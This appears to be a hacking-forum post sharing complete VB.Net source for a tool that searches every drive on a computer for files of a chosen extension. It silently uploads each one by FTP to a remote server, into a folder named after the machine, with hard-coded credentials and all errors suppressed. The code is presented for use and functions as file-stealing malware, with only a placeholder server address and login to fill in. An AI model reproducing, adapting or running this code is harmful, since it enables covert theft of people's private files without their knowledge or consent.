• Welcome to ForumKorner!
    Join today and become a part of the community.

File Search and Upload VB.Net

Killpot

Member
Reputation
0
Yo. 

So this is based of something that Nathan72389 made, but I've upgraded it as his was really crude.

The idea is it searches all drives on the computer and if it finds a file with a certain extension type it will upload it via ftp.




Code:
Imports System.IO
Imports System.Net
Imports System

Public Class ClsMain

    Shared Uname As String = "EpicUserName"
    Shared Pword As String = "EpicPassword"
    Shared ServerAddress As String = "ftp://127.0.0.1/backup/"
    Shared FileExtention As String = ".jpg"

    Shared Sub main()
        For Each drv As DriveInfo In DriveInfo.GetDrives
            If drv.IsReady Then
                Try
                    Dim stack As New Stack(Of String)
stack.Push(drv.name)
Do While (stack.Count > 0) 
Dim dir As String = stack.Pop
Try
For Each file As String In Directory.GetFiles(dir)
Dim info As FileInfo = New Fileinfo(file)
If info.Extension.ToLower = FileExtention Then
Upload(info)
End If
Next
Dim directoryName As String
For Each directoryName In Directory.GetDirectories(dir)
stack.Push(directoryName)
Next

Catch ex As Exception
'errors may be too long of a file name or protected file
End Try
Loop
                Catch
                End Try
            End If
        Next
    End Sub

       Shared Sub Upload(sfile As FileInfo)
        Dim req As FtpWebRequest = FtpWebRequest.Create(New Uri(ServerAddress & Environment.MachineName & "/"))
        req.Method = WebRequestMethods.Ftp.MakeDirectory
        req.Credentials = New NetworkCredential(Uname, Pword)
        Dim resp As FtpWebResponse
        Try
            resp = req.GetResponse()
        Catch 
        End Try
        req = FtpWebRequest.Create(New Uri(ServerAddress & Environment.MachineName & "/" & sfile.Name))
        req.Method = WebRequestMethods.Ftp.UploadFile
        Dim fileBytes As Byte() = File.ReadAllBytes(sfile.FullName)
        req.ContentLength = fileBytes.Length
        Dim swriter As Stream = req.GetRequestStream()
        swriter.Write(fileBytes, 0, fileBytes.Length)
        swriter.Close()
        Try
            resp = req.GetResponse
            resp.Close()
        Catch
        End Try
    End Sub

End Class
 
Top